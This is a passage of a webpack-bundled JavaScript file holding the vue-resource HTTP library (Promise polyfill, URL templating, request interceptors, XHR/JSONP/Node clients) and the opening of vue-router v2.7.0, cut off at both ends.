this.state = PENDING;
this.value = undefined;
this.deferred = [];
var promise = this;
try {
executor(function (x) {
promise.resolve(x);
}, function (r) {
promise.reject(r);
});
} catch (e) {
promise.reject(e);
}
}
Promise$1.reject = function (r) {
return new Promise$1(function (resolve, reject) {
reject(r);
});
};
Promise$1.resolve = function (x) {
return new Promise$1(function (resolve, reject) {
resolve(x);
});
};
Promise$1.all = function all(iterable) {
return new Promise$1(function (resolve, reject) {
var count = 0, result = [];
if (iterable.length === 0) {
resolve(result);
}
function resolver(i) {
return function (x) {
result[i] = x;
count += 1;
if (count === iterable.length) {
resolve(result);
}
};
}
for (var i = 0; i < iterable.length; i += 1) {
Promise$1.resolve(iterable[i]).then(resolver(i), reject);
}
});
};
Promise$1.race = function race(iterable) {
return new Promise$1(function (resolve, reject) {
for (var i = 0; i < iterable.length; i += 1) {
Promise$1.resolve(iterable[i]).then(resolve, reject);
}
});
};
var p$1 = Promise$1.prototype;
p$1.resolve = function resolve(x) {
var promise = this;
if (promise.state === PENDING) {
if (x === promise) {
throw new TypeError('Promise settled with itself.');
}
var called = false;
try {
var then = x && x['then'];
if (x !== null && typeof x === 'object' && typeof then === 'function') {
then.call(x, function (x) {
if (!called) {
promise.resolve(x);
}
called = true;
}, function (r) {
if (!called) {
promise.reject(r);
}
called = true;
});
return;
}
} catch (e) {
if (!called) {
promise.reject(e);
}
return;
}
promise.state = RESOLVED;
promise.value = x;
promise.notify();
}
};
p$1.reject = function reject(reason) {
var promise = this;
if (promise.state === PENDING) {
if (reason === promise) {
throw new TypeError('Promise settled with itself.');
}
promise.state = REJECTED;
promise.value = reason;
promise.notify();
}
};
p$1.notify = function notify() {
var promise = this;
nextTick(function () {
if (promise.state !== PENDING) {
while (promise.deferred.length) {
var deferred = promise.deferred.shift(),
onResolved = deferred[0],
onRejected = deferred[1],
resolve = deferred[2],
reject = deferred[3];
try {
if (promise.state === RESOLVED) {
if (typeof onResolved === 'function') {
resolve(onResolved.call(undefined, promise.value));
} else {
resolve(promise.value);
}
} else if (promise.state === REJECTED) {
if (typeof onRejected === 'function') {
resolve(onRejected.call(undefined, promise.value));
} else {
reject(promise.value);
}
}
} catch (e) {
reject(e);
}
}
}
});
};
p$1.then = function then(onResolved, onRejected) {
var promise = this;
return new Promise$1(function (resolve, reject) {
promise.deferred.push([onResolved, onRejected, resolve, reject]);
promise.notify();
});
};
p$1.catch = function (onRejected) {
return this.then(undefined, onRejected);
};
/**
* Promise adapter.
*/
if (typeof Promise === 'undefined') {
window.Promise = Promise$1;
}
function PromiseObj(executor, context) {
if (executor instanceof Promise) {
this.promise = executor;
} else {
this.promise = new Promise(executor.bind(context));
}
this.context = context;
}
PromiseObj.all = function (iterable, context) {
return new PromiseObj(Promise.all(iterable), context);
};
PromiseObj.resolve = function (value, context) {
return new PromiseObj(Promise.resolve(value), context);
};
PromiseObj.reject = function (reason, context) {
return new PromiseObj(Promise.reject(reason), context);
};
PromiseObj.race = function (iterable, context) {
return new PromiseObj(Promise.race(iterable), context);
};
var p = PromiseObj.prototype;
p.bind = function (context) {
this.context = context;
return this;
};
p.then = function (fulfilled, rejected) {
if (fulfilled && fulfilled.bind && this.context) {
fulfilled = fulfilled.bind(this.context);
}
if (rejected && rejected.bind && this.context) {
rejected = rejected.bind(this.context);
}
return new PromiseObj(this.promise.then(fulfilled, rejected), this.context);
};
p.catch = function (rejected) {
if (rejected && rejected.bind && this.context) {
rejected = rejected.bind(this.context);
}
return new PromiseObj(this.promise.catch(rejected), this.context);
};
p.finally = function (callback) {
return this.then(function (value) {
callback.call(this);
return value;
}, function (reason) {
callback.call(this);
return Promise.reject(reason);
}
);
};
/**
* Utility functions.
*/
var ref = {};
var hasOwnProperty = ref.hasOwnProperty;
var ref$1 = [];
var slice = ref$1.slice;
var debug = false;
var ntick;
var inBrowser = typeof window !== 'undefined';
var Util = function (ref) {
var config = ref.config;
var nextTick = ref.nextTick;
ntick = nextTick;
debug = config.debug || !config.silent;
};
function warn(msg) {
if (typeof console !== 'undefined' && debug) {
console.warn('[VueResource warn]: ' + msg);
}
}
function error(msg) {
if (typeof console !== 'undefined') {
console.error(msg);
}
}
function nextTick(cb, ctx) {
return ntick(cb, ctx);
}
function trim(str) {
return str ? str.replace(/^\s*|\s*$/g, '') : '';
}
function trimEnd(str, chars) {
if (str && chars === undefined) {
return str.replace(/\s+$/, '');
}
if (!str || !chars) {
return str;
}
return str.replace(new RegExp(("[" + chars + "]+$")), '');
}
function toLower(str) {
return str ? str.toLowerCase() : '';
}
function toUpper(str) {
return str ? str.toUpperCase() : '';
}
var isArray = Array.isArray;
function isString(val) {
return typeof val === 'string';
}
function isFunction(val) {
return typeof val === 'function';
}
function isObject(obj) {
return obj !== null && typeof obj === 'object';
}
function isPlainObject(obj) {
return isObject(obj) && Object.getPrototypeOf(obj) == Object.prototype;
}
function isBlob(obj) {
return typeof Blob !== 'undefined' && obj instanceof Blob;
}
function isFormData(obj) {
return typeof FormData !== 'undefined' && obj instanceof FormData;
}
function when(value, fulfilled, rejected) {
var promise = PromiseObj.resolve(value);
if (arguments.length < 2) {
return promise;
}
return promise.then(fulfilled, rejected);
}
function options(fn, obj, opts) {
opts = opts || {};
if (isFunction(opts)) {
opts = opts.call(obj);
}
return merge(fn.bind({$vm: obj, $options: opts}), fn, {$options: opts});
}
function each(obj, iterator) {
var i, key;
if (isArray(obj)) {
for (i = 0; i < obj.length; i++) {
iterator.call(obj[i], obj[i], i);
}
} else if (isObject(obj)) {
for (key in obj) {
if (hasOwnProperty.call(obj, key)) {
iterator.call(obj[key], obj[key], key);
}
}
}
return obj;
}
var assign = Object.assign || _assign;
function merge(target) {
var args = slice.call(arguments, 1);
args.forEach(function (source) {
_merge(target, source, true);
});
return target;
}
function defaults(target) {
var args = slice.call(arguments, 1);
args.forEach(function (source) {
for (var key in source) {
if (target[key] === undefined) {
target[key] = source[key];
}
}
});
return target;
}
function _assign(target) {
var args = slice.call(arguments, 1);
args.forEach(function (source) {
_merge(target, source);
});
return target;
}
function _merge(target, source, deep) {
for (var key in source) {
if (deep && (isPlainObject(source[key]) || isArray(source[key]))) {
if (isPlainObject(source[key]) && !isPlainObject(target[key])) {
target[key] = {};
}
if (isArray(source[key]) && !isArray(target[key])) {
target[key] = [];
}
_merge(target[key], source[key], deep);
} else if (source[key] !== undefined) {
target[key] = source[key];
}
}
}
/**
* Root Prefix Transform.
*/
var root = function (options$$1, next) {
var url = next(options$$1);
if (isString(options$$1.root) && !/^(https?:)?\//.test(url)) {
url = trimEnd(options$$1.root, '/') + '/' + url;
}
return url;
};
/**
* Query Parameter Transform.
*/
var query = function (options$$1, next) {
var urlParams = Object.keys(Url.options.params), query = {}, url = next(options$$1);
each(options$$1.params, function (value, key) {
if (urlParams.indexOf(key) === -1) {
query[key] = value;
}
});
query = Url.params(query);
if (query) {
url += (url.indexOf('?') == -1 ? '?' : '&') + query;
}
return url;
};
/**
* URL Template v2.0.6 (https://github.com/bramstein/url-template)
*/
function expand(url, params, variables) {
var tmpl = parse(url), expanded = tmpl.expand(params);
if (variables) {
variables.push.apply(variables, tmpl.vars);
}
return expanded;
}
function parse(template) {
var operators = ['+', '#', '.', '/', ';', '?', '&'], variables = [];
return {
vars: variables,
expand: function expand(context) {
return template.replace(/\{([^\{\}]+)\}|([^\{\}]+)/g, function (_, expression, literal) {
if (expression) {
var operator = null, values = [];
if (operators.indexOf(expression.charAt(0)) !== -1) {
operator = expression.charAt(0);
expression = expression.substr(1);
}
expression.split(/,/g).forEach(function (variable) {
var tmp = /([^:\*]*)(?::(\d+)|(\*))?/.exec(variable);
values.push.apply(values, getValues(context, operator, tmp[1], tmp[2] || tmp[3]));
variables.push(tmp[1]);
});
if (operator && operator !== '+') {
var separator = ',';
if (operator === '?') {
separator = '&';
} else if (operator !== '#') {
separator = operator;
}
return (values.length !== 0 ? operator : '') + values.join(separator);
} else {
return values.join(',');
}
} else {
return encodeReserved(literal);
}
});
}
};
}
function getValues(context, operator, key, modifier) {
var value = context[key], result = [];
if (isDefined(value) && value !== '') {
if (typeof value === 'string' || typeof value === 'number' || typeof value === 'boolean') {
value = value.toString();
if (modifier && modifier !== '*') {
value = value.substring(0, parseInt(modifier, 10));
}
result.push(encodeValue(operator, value, isKeyOperator(operator) ? key : null));
} else {
if (modifier === '*') {
if (Array.isArray(value)) {
value.filter(isDefined).forEach(function (value) {
result.push(encodeValue(operator, value, isKeyOperator(operator) ? key : null));
});
} else {
Object.keys(value).forEach(function (k) {
if (isDefined(value[k])) {
result.push(encodeValue(operator, value[k], k));
}
});
}
} else {
var tmp = [];
if (Array.isArray(value)) {
value.filter(isDefined).forEach(function (value) {
tmp.push(encodeValue(operator, value));
});
} else {
Object.keys(value).forEach(function (k) {
if (isDefined(value[k])) {
tmp.push(encodeURIComponent(k));
tmp.push(encodeValue(operator, value[k].toString()));
}
});
}
if (isKeyOperator(operator)) {
result.push(encodeURIComponent(key) + '=' + tmp.join(','));
} else if (tmp.length !== 0) {
result.push(tmp.join(','));
}
}
}
} else {
if (operator === ';') {
result.push(encodeURIComponent(key));
} else if (value === '' && (operator === '&' || operator === '?')) {
result.push(encodeURIComponent(key) + '=');
} else if (value === '') {
result.push('');
}
}
return result;
}
function isDefined(value) {
return value !== undefined && value !== null;
}
function isKeyOperator(operator) {
return operator === ';' || operator === '&' || operator === '?';
}
function encodeValue(operator, value, key) {
value = (operator === '+' || operator === '#') ? encodeReserved(value) : encodeURIComponent(value);
if (key) {
return encodeURIComponent(key) + '=' + value;
} else {
return value;
}
}
function encodeReserved(str) {
return str.split(/(%[0-9A-Fa-f]{2})/g).map(function (part) {
if (!/%[0-9A-Fa-f]/.test(part)) {
part = encodeURI(part);
}
return part;
}).join('');
}
/**
* URL Template (RFC 6570) Transform.
*/
var template = function (options) {
var variables = [], url = expand(options.url, options.params, variables);
variables.forEach(function (key) {
delete options.params[key];
});
return url;
};
/**
* Service for URL templating.
*/
function Url(url, params) {
var self = this || {}, options$$1 = url, transform;
if (isString(url)) {
options$$1 = {url: url, params: params};
}
options$$1 = merge({}, Url.options, self.$options, options$$1);
Url.transforms.forEach(function (handler) {
if (isString(handler)) {
handler = Url.transform[handler];
}
if (isFunction(handler)) {
transform = factory(handler, transform, self.$vm);
}
});
return transform(options$$1);
}
/**
* Url options.
*/
Url.options = {
url: '',
root: null,
params: {}
};
/**
* Url transforms.
*/
Url.transform = {template: template, query: query, root: root};
Url.transforms = ['template', 'query', 'root'];
/**
* Encodes a Url parameter string.
*
* @param {Object} obj
*/
Url.params = function (obj) {
var params = [], escape = encodeURIComponent;
params.add = function (key, value) {
if (isFunction(value)) {
value = value();
}
if (value === null) {
value = '';
}
this.push(escape(key) + '=' + escape(value));
};
serialize(params, obj);
return params.join('&').replace(/%20/g, '+');
};
/**
* Parse a URL and return its components.
*
* @param {String} url
*/
Url.parse = function (url) {
var el = document.createElement('a');
if (document.documentMode) {
el.href = url;
url = el.href;
}
el.href = url;
return {
href: el.href,
protocol: el.protocol ? el.protocol.replace(/:$/, '') : '',
port: el.port,
host: el.host,
hostname: el.hostname,
pathname: el.pathname.charAt(0) === '/' ? el.pathname : '/' + el.pathname,
search: el.search ? el.search.replace(/^\?/, '') : '',
hash: el.hash ? el.hash.replace(/^#/, '') : ''
};
};
function factory(handler, next, vm) {
return function (options$$1) {
return handler.call(vm, options$$1, next);
};
}
function serialize(params, obj, scope) {
var array = isArray(obj), plain = isPlainObject(obj), hash;
each(obj, function (value, key) {
hash = isObject(value) || isArray(value);
if (scope) {
key = scope + '[' + (plain || hash ? key : '') + ']';
}
if (!scope && array) {
params.add(value.name, value.value);
} else if (hash) {
serialize(params, value, key);
} else {
params.add(key, value);
}
});
}
/**
* XDomain client (Internet Explorer).
*/
var xdrClient = function (request) {
return new PromiseObj(function (resolve) {
var xdr = new XDomainRequest(), handler = function (ref) {
var type = ref.type;
var status = 0;
if (type === 'load') {
status = 200;
} else if (type === 'error') {
status = 500;
}
resolve(request.respondWith(xdr.responseText, {status: status}));
};
request.abort = function () { return xdr.abort(); };
xdr.open(request.method, request.getUrl());
if (request.timeout) {
xdr.timeout = request.timeout;
}
xdr.onload = handler;
xdr.onabort = handler;
xdr.onerror = handler;
xdr.ontimeout = handler;
xdr.onprogress = function () {};
xdr.send(request.getBody());
});
};
/**
* CORS Interceptor.
*/
var SUPPORTS_CORS = inBrowser && 'withCredentials' in new XMLHttpRequest();
var cors = function (request, next) {
if (inBrowser) {
var orgUrl = Url.parse(location.href);
var reqUrl = Url.parse(request.getUrl());
if (reqUrl.protocol !== orgUrl.protocol || reqUrl.host !== orgUrl.host) {
request.crossOrigin = true;
request.emulateHTTP = false;
if (!SUPPORTS_CORS) {
request.client = xdrClient;
}
}
}
next();
};
/**
* Form data Interceptor.
*/
var form = function (request, next) {
if (isFormData(request.body)) {
request.headers.delete('Content-Type');
} else if (isObject(request.body) && request.emulateJSON) {
request.body = Url.params(request.body);
request.headers.set('Content-Type', 'application/x-www-form-urlencoded');
}
next();
};
/**
* JSON Interceptor.
*/
var json = function (request, next) {
var type = request.headers.get('Content-Type') || '';
if (isObject(request.body) && type.indexOf('application/json') === 0) {
request.body = JSON.stringify(request.body);
}
next(function (response) {
return response.bodyText ? when(response.text(), function (text) {
type = response.headers.get('Content-Type') || '';
if (type.indexOf('application/json') === 0 || isJson(text)) {
try {
response.body = JSON.parse(text);
} catch (e) {
response.body = null;
}
} else {
response.body = text;
}
return response;
}) : response;
});
};
function isJson(str) {
var start = str.match(/^\[|^\{(?!\{)/), end = {'[': /]$/, '{': /}$/};
return start && end[start[0]].test(str);
}
/**
* JSONP client (Browser).
*/
var jsonpClient = function (request) {
return new PromiseObj(function (resolve) {
var name = request.jsonp || 'callback', callback = request.jsonpCallback || '_jsonp' + Math.random().toString(36).substr(2), body = null, handler, script;
handler = function (ref) {
var type = ref.type;
var status = 0;
if (type === 'load' && body !== null) {
status = 200;
} else if (type === 'error') {
status = 500;
}
if (status && window[callback]) {
delete window[callback];
document.body.removeChild(script);
}
resolve(request.respondWith(body, {status: status}));
};
window[callback] = function (result) {
body = JSON.stringify(result);
};
request.abort = function () {
handler({type: 'abort'});
};
request.params[name] = callback;
if (request.timeout) {
setTimeout(request.abort, request.timeout);
}
script = document.createElement('script');
script.src = request.getUrl();
script.type = 'text/javascript';
script.async = true;
script.onload = handler;
script.onerror = handler;
document.body.appendChild(script);
});
};
/**
* JSONP Interceptor.
*/
var jsonp = function (request, next) {
if (request.method == 'JSONP') {
request.client = jsonpClient;
}
next();
};
/**
* Before Interceptor.
*/
var before = function (request, next) {
if (isFunction(request.before)) {
request.before.call(this, request);
}
next();
};
/**
* HTTP method override Interceptor.
*/
var method = function (request, next) {
if (request.emulateHTTP && /^(PUT|PATCH|DELETE)$/i.test(request.method)) {
request.headers.set('X-HTTP-Method-Override', request.method);
request.method = 'POST';
}
next();
};
/**
* Header Interceptor.
*/
var header = function (request, next) {
var headers = assign({}, Http.headers.common,
!request.crossOrigin ? Http.headers.custom : {},
Http.headers[toLower(request.method)]
);
each(headers, function (value, name) {
if (!request.headers.has(name)) {
request.headers.set(name, value);
}
});
next();
};
/**
* XMLHttp client (Browser).
*/
var xhrClient = function (request) {
return new PromiseObj(function (resolve) {
var xhr = new XMLHttpRequest(), handler = function (event) {
var response = request.respondWith(
'response' in xhr ? xhr.response : xhr.responseText, {
status: xhr.status === 1223 ? 204 : xhr.status, // IE9 status bug
statusText: xhr.status === 1223 ? 'No Content' : trim(xhr.statusText)
}
);
each(trim(xhr.getAllResponseHeaders()).split('\n'), function (row) {
response.headers.append(row.slice(0, row.indexOf(':')), row.slice(row.indexOf(':') + 1));
});
resolve(response);
};
request.abort = function () { return xhr.abort(); };
if (request.progress) {
if (request.method === 'GET') {
xhr.addEventListener('progress', request.progress);
} else if (/^(POST|PUT)$/i.test(request.method)) {
xhr.upload.addEventListener('progress', request.progress);
}
}
xhr.open(request.method, request.getUrl(), true);
if (request.timeout) {
xhr.timeout = request.timeout;
}
if (request.responseType && 'responseType' in xhr) {
xhr.responseType = request.responseType;
}
if (request.withCredentials || request.credentials) {
xhr.withCredentials = true;
}
if (!request.crossOrigin) {
request.headers.set('X-Requested-With', 'XMLHttpRequest');
}
request.headers.forEach(function (value, name) {
xhr.setRequestHeader(name, value);
});
xhr.onload = handler;
xhr.onabort = handler;
xhr.onerror = handler;
xhr.ontimeout = handler;
xhr.send(request.getBody());
});
};
/**
* Http client (Node).
*/
var nodeClient = function (request) {
var client = __webpack_require__(6);
return new PromiseObj(function (resolve) {
var url = request.getUrl();
var body = request.getBody();
var method = request.method;
var headers = {}, handler;
request.headers.forEach(function (value, name) {
headers[name] = value;
});
client(url, {body: body, method: method, headers: headers}).then(handler = function (resp) {
var response = request.respondWith(resp.body, {
status: resp.statusCode,
statusText: trim(resp.statusMessage)
}
);
each(resp.headers, function (value, name) {
response.headers.set(name, value);
});
resolve(response);
}, function (error$$1) { return handler(error$$1.response); });
});
};
/**
* Base client.
*/
var Client = function (context) {
var reqHandlers = [sendRequest], resHandlers = [], handler;
if (!isObject(context)) {
context = null;
}
function Client(request) {
return new PromiseObj(function (resolve, reject) {
function exec() {
handler = reqHandlers.pop();
if (isFunction(handler)) {
handler.call(context, request, next);
} else {
warn(("Invalid interceptor of type " + (typeof handler) + ", must be a function"));
next();
}
}
function next(response) {
if (isFunction(response)) {
resHandlers.unshift(response);
} else if (isObject(response)) {
resHandlers.forEach(function (handler) {
response = when(response, function (response) {
return handler.call(context, response) || response;
}, reject);
});
when(response, resolve, reject);
return;
}
exec();
}
exec();
}, context);
}
Client.use = function (handler) {
reqHandlers.push(handler);
};
return Client;
};
function sendRequest(request, resolve) {
var client = request.client || (inBrowser ? xhrClient : nodeClient);
resolve(client(request));
}
/**
* HTTP Headers.
*/
var Headers = function Headers(headers) {
var this$1 = this;
this.map = {};
each(headers, function (value, name) { return this$1.append(name, value); });
};
Headers.prototype.has = function has (name) {
return getName(this.map, name) !== null;
};
Headers.prototype.get = function get (name) {
var list = this.map[getName(this.map, name)];
return list ? list.join() : null;
};
Headers.prototype.getAll = function getAll (name) {
return this.map[getName(this.map, name)] || [];
};
Headers.prototype.set = function set (name, value) {
this.map[normalizeName(getName(this.map, name) || name)] = [trim(value)];
};
Headers.prototype.append = function append (name, value){
var list = this.map[getName(this.map, name)];
if (list) {
list.push(trim(value));
} else {
this.set(name, value);
}
};
Headers.prototype.delete = function delete$1 (name){
delete this.map[getName(this.map, name)];
};
Headers.prototype.deleteAll = function deleteAll (){
this.map = {};
};
Headers.prototype.forEach = function forEach (callback, thisArg) {
var this$1 = this;
each(this.map, function (list, name) {
each(list, function (value) { return callback.call(thisArg, value, name, this$1); });
});
};
function getName(map, name) {
return Object.keys(map).reduce(function (prev, curr) {
return toLower(name) === toLower(curr) ? curr : prev;
}, null);
}
function normalizeName(name) {
if (/[^a-z0-9\-#$%&'*+.\^_`|~]/i.test(name)) {
throw new TypeError('Invalid character in header field name');
}
return trim(name);
}
/**
* HTTP Response.
*/
var Response = function Response(body, ref) {
var url = ref.url;
var headers = ref.headers;
var status = ref.status;
var statusText = ref.statusText;
this.url = url;
this.ok = status >= 200 && status < 300;
this.status = status || 0;
this.statusText = statusText || '';
this.headers = new Headers(headers);
this.body = body;
if (isString(body)) {
this.bodyText = body;
} else if (isBlob(body)) {
this.bodyBlob = body;
if (isBlobText(body)) {
this.bodyText = blobText(body);
}
}
};
Response.prototype.blob = function blob () {
return when(this.bodyBlob);
};
Response.prototype.text = function text () {
return when(this.bodyText);
};
Response.prototype.json = function json () {
return when(this.text(), function (text) { return JSON.parse(text); });
};
Object.defineProperty(Response.prototype, 'data', {
get: function get() {
return this.body;
},
set: function set(body) {
this.body = body;
}
});
function blobText(body) {
return new PromiseObj(function (resolve) {
var reader = new FileReader();
reader.readAsText(body);
reader.onload = function () {
resolve(reader.result);
};
});
}
function isBlobText(body) {
return body.type.indexOf('text') === 0 || body.type.indexOf('json') !== -1;
}
/**
* HTTP Request.
*/
var Request = function Request(options$$1) {
this.body = null;
this.params = {};
assign(this, options$$1, {
method: toUpper(options$$1.method || 'GET')
});
if (!(this.headers instanceof Headers)) {
this.headers = new Headers(this.headers);
}
};
Request.prototype.getUrl = function getUrl (){
return Url(this);
};
Request.prototype.getBody = function getBody (){
return this.body;
};
Request.prototype.respondWith = function respondWith (body, options$$1) {
return new Response(body, assign(options$$1 || {}, {url: this.getUrl()}));
};
/**
* Service for sending network requests.
*/
var COMMON_HEADERS = {'Accept': 'application/json, text/plain, */*'};
var JSON_CONTENT_TYPE = {'Content-Type': 'application/json;charset=utf-8'};
function Http(options$$1) {
var self = this || {}, client = Client(self.$vm);
defaults(options$$1 || {}, self.$options, Http.options);
Http.interceptors.forEach(function (handler) {
if (isString(handler)) {
handler = Http.interceptor[handler];
}
if (isFunction(handler)) {
client.use(handler);
}
});
return client(new Request(options$$1)).then(function (response) {
return response.ok ? response : PromiseObj.reject(response);
}, function (response) {
if (response instanceof Error) {
error(response);
}
return PromiseObj.reject(response);
});
}
Http.options = {};
Http.headers = {
put: JSON_CONTENT_TYPE,
post: JSON_CONTENT_TYPE,
patch: JSON_CONTENT_TYPE,
delete: JSON_CONTENT_TYPE,
common: COMMON_HEADERS,
custom: {}
};
Http.interceptor = {before: before, method: method, jsonp: jsonp, json: json, form: form, header: header, cors: cors};
Http.interceptors = ['before', 'method', 'jsonp', 'json', 'form', 'header', 'cors'];
['get', 'delete', 'head', 'jsonp'].forEach(function (method$$1) {
Http[method$$1] = function (url, options$$1) {
return this(assign(options$$1 || {}, {url: url, method: method$$1}));
};
});
['post', 'put', 'patch'].forEach(function (method$$1) {
Http[method$$1] = function (url, body, options$$1) {
return this(assign(options$$1 || {}, {url: url, method: method$$1, body: body}));
};
});
/**
* Service for interacting with RESTful services.
*/
function Resource(url, params, actions, options$$1) {
var self = this || {}, resource = {};
actions = assign({},
Resource.actions,
actions
);
each(actions, function (action, name) {
action = merge({url: url, params: assign({}, params)}, options$$1, action);
resource[name] = function () {
return (self.$http || Http)(opts(action, arguments));
};
});
return resource;
}
function opts(action, args) {
var options$$1 = assign({}, action), params = {}, body;
switch (args.length) {
case 2:
params = args[0];
body = args[1];
break;
case 1:
if (/^(POST|PUT|PATCH)$/i.test(options$$1.method)) {
body = args[0];
} else {
params = args[0];
}
break;
case 0:
break;
default:
throw 'Expected up to 2 arguments [params, body], got ' + args.length + ' arguments';
}
options$$1.body = body;
options$$1.params = assign({}, options$$1.params, params);
return options$$1;
}
Resource.actions = {
get: {method: 'GET'},
save: {method: 'POST'},
query: {method: 'GET'},
update: {method: 'PUT'},
remove: {method: 'DELETE'},
delete: {method: 'DELETE'}
};
/**
* Install plugin.
*/
function plugin(Vue) {
if (plugin.installed) {
return;
}
Util(Vue);
Vue.url = Url;
Vue.http = Http;
Vue.resource = Resource;
Vue.Promise = PromiseObj;
Object.defineProperties(Vue.prototype, {
$url: {
get: function get() {
return options(Vue.url, this, this.$options.url);
}
},
$http: {
get: function get() {
return options(Vue.http, this, this.$options.http);
}
},
$resource: {
get: function get() {
return Vue.resource.bind(this);
}
},
$promise: {
get: function get() {
var this$1 = this;
return function (executor) { return new Vue.Promise(executor, this$1); };
}
}
});
}
if (typeof window !== 'undefined' && window.Vue) {
window.Vue.use(plugin);
}
/* harmony default export */ __webpack_exports__["default"] = (plugin);
/***/ }),
/* 2 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* WEBPACK VAR INJECTION */(function(process) {/**
* vue-router v2.7.0
* (c) 2017 Evan You
* @license MIT
*/
/* */
function assert (condition, message) {
if (!condition) {
throw new Error(("[vue-router] " + message))
}
}
function warn (condition, message) {
if (process.env.NODE_ENV !== 'production' && !condition) {
typeof console !== 'undefined' && console.warn(("[vue-router] " + message));
}
}
function isError (err) {
return Object.prototype.toString.call(err).indexOf('Error') > -1
}
var View = {
name: 'router-view',
functional: true,
props: {
name: {
type: String,
default: 'default'
}
},
render: function render (_, ref) {
var props = ref.props;
var children = ref.children;
var parent = ref.parent;
var data = ref.data;
data.routerView = true;
// directly use parent context's createElement() function
// so that components rendered by router-view can resolve named slots
var h = parent.$createElement;
var name = props.name;
var route = parent.$route;
var cache = parent._routerViewCache || (parent._routerViewCache = {});
// determine current view depth, also check to see if the tree
// has been toggled inactive but kept-alive.
var depth = 0;
var inactive = false;
while (parent && parent._routerRoot !== parent) {
if (parent.$vnode && parent.$vnode.data.routerView) {
depth++;
}
if (parent._inactive) {
inactive = true;
}
parent = parent.$parent;
}
data.routerViewDepth = depth;
// render previous view if the tree is inactive and kept-alive
if (inactive) {
return h(cache[name], data, children)
}
var matched = route.matched[depth];
// render empty node if no matched route
if (!matched) {
cache[name] = null;
return h()
}
var component = cache[name] = matched.components[name];
// attach instance registration hook
// this will be called in the instance's injected lifecycle hooks
data.registerRouteInstance = function (vm, val) {
// val could be undefined for unregistration
var current = matched.instances[name];
if (
(val && current !== vm) ||
(!val && current === vm)
) {
matched.instances[name] = val;
}
}
// also regiseter instance in prepatch hook
// in case the same component instance is reused across different routes
;(data.hook || (data.hook = {})).prepatch = function (_, vnode) {
matched.instances[name] = vnode.componentInstance;
};
// resolve props
data.props = resolveProps(route, matched.props && matched.props[name]);
return h(component, data, children)
}
};
function resolveProps (route, config) {
switch (typeof config) {
case 'undefined':
return
case 'object':
return config
case 'function':
return config(route)
case 'boolean':
return config ? route.params : undefined
default:
if (process.env.NODE_ENV !== 'production') {
warn(
false,
"props in \"" + (route.path) + "\" is a " + (typeof config) + ", " +
"expecting an object, function or boolean."
);
}
}
}
/* */
var encodeReserveRE = /[!'()*]/g;
var encodeReserveReplacer = function (c) { return '%' + c.charCodeAt(0).toString(16); };
var commaRE = /%2C/g;
// fixed encodeURIComponent which is more conformant to RFC3986:
// - escapes [!'()*]
// - preserve commas
var encode = function (str) { return encodeURIComponent(str)
.replace(encodeReserveRE, encodeReserveReplacer)
.replace(commaRE, ','); };
var decode = decodeURIComponent;
function resolveQuery (
query,
extraQuery,
_parseQuery
) {
if ( extraQuery === void 0 ) extraQuery = {};
var parse = _parseQuery || parseQuery;
var parsedQuery;
try {
parsedQuery = parse(query || '');
} catch (e) {
process.env.NODE_ENV !== 'production' && warn(false, e.message);
parsedQuery = {};
}
for (var key in extraQuery) {
var val = extraQuery[key];
parsedQuery[key] = Array.isArray(val) ? val.slice() : val;
}
return parsedQuery
}
function parseQuery (query) {
var res = {};
query = query.trim().replace(/^(\?|#|&)/, '');
if (!query) {
return res
}
query.split('&').forEach(function (param) {
var parts = param.replace(/\+/g, ' ').split('=');
var key = decode(parts.shift());
var val = parts.length > 0
? decode(parts.join('='))
: null;
if (res[key] === undefined) {
res[key] = val;
} else if (Array.isArray(res[key])) {
res[key].push(val);
} else {
res[key] = [res[key], val];
}
});
return res
}
function stringifyQuery (obj) {
var res = obj ? Object.keys(obj).map(function (key) {
var val = obj[key];
if (val === undefined) {
return ''
}
if (val === null) {
return encode(key)
}
if (Array.isArray(val)) {
var result = [];
val.forEach(function (val2) {
if (val2 === undefined) {
return
}
if (val2 === null) {
result.push(encode(key));
} else {
result.push(encode(key) + '=' + encode(val2));
}
});
return result.join('&')
}
return encode(key) + '=' + encode(val)
}).filter(function (x) { return x.length > 0; }).join('&') : null;
return res ? ("?" + res) : ''
}
/* */
var trailingSlashRE = /\/?$/;
function createRoute (
record,
location,
redirectedFrom,
router
) {
var stringifyQuery$$1 = router && router.options.stringifyQuery;
var route = {
name: location.name || (record && record.name),
meta: (record && record.meta) || {},
path: location.path || '/',
hash: location.hash || '',
query: location.query || {},
params: location.params || {},
fullPath: getFullPath(location, stringifyQuery$$1),
matched: record ? formatMatch(record) : []
};
if (redirectedFrom) {
route.redirectedFrom = getFullPath(redirectedFrom, stringifyQuery$$1);
}
return Object.freeze(route)
}
// the starting route that represents the initial state
var START = createRoute(null, {
path: '/'
});
function formatMatch (record) {
var res = [];
while (record) {
res.unshift(record);
record = record.parent;
}
return res
}
function getFullPath (
ref,
_stringifyQuery
) {
var path = ref.path;
var query = ref.query; if ( query === void 0 ) query = {};
var hash = ref.hash; if ( hash === void 0 ) hash = '';
var stringify = _stringifyQuery || stringifyQuery;
return (path || '/') + stringify(query) + hash
}
function isSameRoute (a, b) {
if (b === START) {
return a === b
} else if (!b) {
return false
} else if (a.path && b.path) {
return (
a.path.replace(trailingSlashRE, '') === b.path.replace(trailingSlashRE, '') &&
a.hash === b.hash &&
isObjectEqual(a.query, b.query)
)
} else if (a.name && b.name) {
return (
a.name === b.name &&
a.hash === b.hash &&
isObjectEqual(a.query, b.query) &&
isObjectEqual(a.params, b.params)
)
} else {
return false
}
}
function isObjectEqual (a, b) {
if ( a === void 0 ) a = {};
if ( b === void 0 ) b = {};
var aKeys = Object.keys(a);
var bKeys = Object.keys(b);
if (aKeys.length !== bKeys.length) {
return false
}
return aKeys.every(function (key) {
var aVal = a[key];
var bVal = b[key];
// check nested equality
if (typeof aVal === 'object' && typeof bVal === 'object') {
return isObjectEqual(aVal, bVal)
}
return String(aVal) === String(bVal)
})
}
function isIncludedRoute (current, target) {
return (
current.path.replace(trailingSlashRE, '/').indexOf(
target.path.replace(trailingSlashRE, '/')
) === 0 &&
(!target.hash || current.hash === target.hash) &&
queryIncludes(current.query, target.query)
)
}
function queryIncludes (current, target) {
for (var key in target) {
if (!(key in current)) {
return false
}
}
return true
}
/* */
// work around weird flow bug
var toTypes = [String, Object];
var eventTypes = [String, Array];
var Link = {
name: 'router-link',
props: {
to: {
type: toTypes,
required: true
},
tag: {
type: String,
default: 'a'
},
exact: Boolean,
append: Boolean,
replace: Boolean,
